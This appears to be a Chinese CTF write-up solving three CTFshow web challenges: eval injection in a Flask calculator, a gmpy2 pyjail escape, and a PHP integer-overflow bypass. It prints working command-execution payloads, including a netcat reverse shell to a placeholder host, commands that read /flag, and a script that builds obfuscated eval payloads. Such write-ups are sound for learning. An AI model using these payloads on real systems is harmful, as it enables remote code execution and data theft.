CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED

2023-10-07 22:30

本文主要是介绍CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

算力超群

题目来源

CTFshow-菜狗杯-WEB

题目考点

简单沙箱逃逸

题目源码

题目源码来自writeup

# -*- coding: utf-8 -*-
# @Time    : 2022/11/2
# @Author  : 探姬
# @Forkfrom:https://github.com/helloflask/calculatorimport re
from flask import Flask, jsonify, render_template, requestapp = Flask(__name__)@app.route('/_calculate')
def calculate():a = request.args.get('number1', '0')operator = request.args.get('operator', '+')b = request.args.get('number2', '0')m = re.match(r'^\-?\d*[.]?\d*$', a)n = re.match(r'^\-?\d*[.]?\d*$', a)if m is None or n is None or operator not in '+-*/':return jsonify(result='Error!')if operator == '/':result = eval(a + operator + str(float(b)))else:result = eval(a + operator + b)return jsonify(result=result)@app.route('/')
def index():return render_template('index.html')@app.route('/hint')
def hint():return render_template('hint.html')if __name__ == '__main__':app.run()

解题过程

执行请求 http://1ed5282a-5e0e-42a0-b8a0-460fe11c6202.challenge.ctf.show/_calculate?number1=7&operator=*&number2=XXXX 报错如下:

在这里插入图片描述


审阅源码得到

m = re.match(r'^\-?\d*[.]?\d*$', a)
n = re.match(r'^\-?\d*[.]?\d*$', a)

粗心的复制粘贴导致最后一个变量没有任何校验,所以直接使用b进行执行。
先拿报错骗出路径,因为没有回显,所以我们将结果写入可见的路由部分就好了。
#g4的payload

payload:?number2=1,__import__('os').system('nc xxx.xxx.xxx.xxx 1234 -e sh')

或者其他无回显的payload
通过写文件回显

_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('ls / >/app/templates/hint.html')_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')

构造展示文件目录的Payload

_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('ls / >/app/templates/hint.html')

执行Payload

在这里插入图片描述

回显结果如下

在这里插入图片描述

访问 http://7125305f-e54e-406f-91cd-3c92b19e4813.challenge.ctf.show/hint 得到如下结果

在这里插入图片描述

构造读取flag文件的Payload

_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')

执行Payload,得到如下结果

在这里插入图片描述

再次访问 http://7125305f-e54e-406f-91cd-3c92b19e4813.challenge.ctf.show/hint 得到flag

在这里插入图片描述

ctfshow{34063eb3-8e41-468f-946e-c21fb0086e32}


另一种方法

/_calculate?number1=&operator=&number2=__import__('os').popen('ls /').read()
/_calculate?number1=&operator=&number2=__import__('os').popen('tac /flag').read()

算力升级

题目来源

CTFshow-菜狗杯-WEB

题目考点

gmpy2.__builtins的命令执行

题目源码

    # !/usr/bin/env python# -*-coding:utf-8 -*-"""# File       : app.py# Time       :2022/10/20 15:16# Author     :g4_simon# version    :python 3.9.7# Description:算力升级--这其实是一个pyjail题目"""from flask import *import osimport re,gmpy2 import json#初始化全局变量app = Flask(__name__)pattern=re.compile(r'\w+')@app.route('/', methods=['GET'])def index():  return render_template('index.html')@app.route('/tiesuanzi', methods=['POST'])def tiesuanzi():code=request.form.get('code')for item in pattern.findall(code):#从code里把单词拿出来if not re.match(r'\d+$',item):#如果不是数字if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})try:result=eval(code)return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})except:return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})@app.route('/source', methods=['GET'])def source():  return render_template('source.html')if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=False)

题目提示

提示:输入算式即可让R4帮你进行计算,本次R4重装升级,已经支持gmpy2了,可以使用gmpy2的函数进行计算,那我们赶快开始吧!

解题过程

打开题目链接,得到如下界面

在这里插入图片描述

点击 左上角查看源码,得到源码

    # !/usr/bin/env python# -*-coding:utf-8 -*-"""# File       : app.py# Time       :2022/10/20 15:16# Author     :g4_simon# version    :python 3.9.7# Description:算力升级--这其实是一个pyjail题目"""from flask import *import osimport re,gmpy2 import json#初始化全局变量app = Flask(__name__)pattern=re.compile(r'\w+')@app.route('/', methods=['GET'])def index():  return render_template('index.html')@app.route('/tiesuanzi', methods=['POST'])def tiesuanzi():code=request.form.get('code')for item in pattern.findall(code):#从code里把单词拿出来if not re.match(r'\d+$',item):#如果不是数字if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})try:result=eval(code)return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})except:return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})@app.route('/source', methods=['GET'])def source():  return render_template('source.html')if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=False)

通过审计源码可知,如何绕过执行的限制是关键。

审计源码可知,源码对于输入的限制是两个正则,要求要么是数字,要么是dir(gmpy2)中的内容。我们在自己的环境中试一下,发现gmpy2.__builtins__是含有eval的,思路就是使用eval和dir(gmpy2)中的内容拼接字符串,payload生成脚本如下:

s="__import__('os').popen('cat /flag').read()"import gmpy2payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("for i in s:if i not in "/'(). ":temp_index=0temp_string='x'*20for j in dir(gmpy2):if j.find(i)>=0:if len(j)<len(temp_string):temp_string=jtemp_index=j.find(i)payload+=f'\'{temp_string}\'[{temp_index}]+'else:payload+=f'\"{i}\"+'payload=payload[:-1]+')'print(payload)

执行Payload,得到flag

在这里插入图片描述

ctfshow{0ffe7319-b454-455d-bdae-fbbad7a7521a}

无一幸免FIXED

题目来源

CTFshow-菜狗杯-WEB

题目考点

数组整型溢出绕过赋值式“永真”判断

题目源码

<?php
include "flag.php";
highlight_file(__FILE__);if (isset($_GET['0'])){$arr[$_GET['0']]=1;if ($arr[]=1){die("nonono!");}else{die($flag);}
}

解题过程

打开题目链接,得到题目源码界面如下:

在这里插入图片描述

审阅代码,可知这道题目需要用到整形数组溢出去解答

构造Payload如下

http://3dc6fa9e-1ce1-4e63-8767-bb0f3db5bf2b.challenge.ctf.show/?0=9223372036854775807

执行Payload得到flag

在这里插入图片描述

ctfshow{bb86b68a-9f7a-4980-8494-8d1e8cc2fb6d}

这篇关于CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/160866

相关文章

【文末附gpt升级秘笈】腾讯元宝AI搜索解析能力升级:千万字超长文处理的新里程碑

腾讯元宝AI搜索解析能力升级:千万字超长文处理的新里程碑 一、引言 随着人工智能技术的飞速发展,自然语言处理(NLP)和机器学习(ML)在各行各业的应用日益广泛。其中,AI搜索解析能力作为信息检索和知识抽取的核心技术,受到了广泛的关注和研究。腾讯作为互联网行业的领军企业,其在AI领域的探索和创新一直走在前列。近日,腾讯旗下的AI大模型应用——腾讯元宝,迎来了1.1.7版本的升级,新版本在AI搜

java同步锁以及级别升级的理解

首先简单说下先偏向锁、轻量级锁、重量级锁三者各自的应用场景: 偏向锁:只有一个线程进入临界区;轻量级锁:多个线程交替进入临界区;重量级锁:多个线程同时进入临界区。 还要明确的是,偏向锁、轻量级锁都是JVM引入的锁优化手段,目的是降低线程同步的开销。比如以下的同步代码块:   synchronized (lockObject) { // do something } 上述同步代码块

国产AI算力训练大模型技术实践

&nbsp;&nbsp; ChatGPT引领AI大模型热潮,国内外模型如雨后春笋,掀起新一轮科技浪潮。然而,国内大模型研发推广亦面临不小挑战。面对机遇与挑战,我们需保持清醒,持续推进技术创新与应用落地。 为应对挑战,我们需从战略高度全面规划大模型的研发与运营,利用我们的制度优势,集中资源攻坚克难。通过加强顶层设计,统一规划,并加大政策与资源的扶持,我们必将推动中国人工智能实现从追赶者到

Python pip升级及升级失败解决方案 pip 20.2.2升级20.2.3教程

Python pip升级及升级失败解决方案 本教程用于Python  pip升级及失败解决方案 首先查看脚本 pip show pip 我已经升级到了最新的版本 安装其他模块过程中出现下面提示,便说明你需要升级pip You are using pip version 18.1.1, however version 19.0.1 is available. 你的版本为18.1

两个基因相关性细胞系(CCLE)(升级)

目录 单基因CCLE数据 ①细胞系转录组CCLE数据下载 ②单基因泛癌表达 CCLE两个基因相关性 ①进行数据整理 ②相关性分析 单基因CCLE数据 ①细胞系转录组CCLE数据下载 基因在各个细胞系表达情况_ccle expression 23q4-CSDN博客 rm(list = ls())library(tidyverse)library(ggpubr)rt

ctfshow web其他 web450--web460

web450 <?phphighlight_file(__FILE__);$ctfshow=$_GET['ctfshow'];if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){ //小写字母^小写字母^小写字母eval("($ctfshow)();");} ?ctfshow=phpinfo^phpinfo^phpinf

「Debug R」如何不需要重新启动R/Rstudio就可以升级已经加载的R包

当我们已经加载了一个R包,例如ggplot2时,然后此时你发现ggplot2目前出最新版了,你心血来潮想要升级它,于是你输入了install.packages("ggplot2"), 结果弹出了下面这个界面 一个神奇的界面 它强烈建议你重启一下Rstudio,并且说到Rstudio会非常智能的重启并继续你的任务。但是根据我多年踩坑的经验,它通常没有那么智能。即便它有它说的那么智

AG32 MCU是否支持DFU下载实现USB升级

1、AG32 MCU是否支持DFU下载实现USB升级呢? 先说答案是NO. STM32 可以通过内置DFU实现USB升级,AG32 MCU目前不支持。但用户可以自己写一个DFU, 作为二次boot. 2、AG32 MCU可支持的下载方式有哪些呢? 我们AG32裸机下载只支持uart和jtag. 用户可以通过UART实现ISP升级。所以虽然不支持DFU,但是用户仍然可以通过UART实现升级。 3

mysql 升级到8.0

MySQL :: MySQL 8.0 Reference Manual :: 3.7 Upgrading MySQL Binary or Package-based Installations on Unix/Linux 2种升级方式: In-Place Upgrade   : data目录替换 Logical Upgrade: 通过 mysqldump 导出为sql文本后,导入。

升级iOS7后利用rvictl和wireshark抓包失效?

最近把一台设备升级到iOS7后,利用rvictl和wireshark抓包发现抓不了,无意中发现在装有xcode5的机器上可以抓包,看来rvictl与xcode是绑定的,升级到最新的iOS7后,必须要装上最新的xcode5版本才能抓包。 使用rvictl有一个前提是要获取设备的UDID,看网上不少教程都是从xcode中获取UDID,步骤相当繁琐,快速获取UDID用命令行才是王道,果然不出所料,很快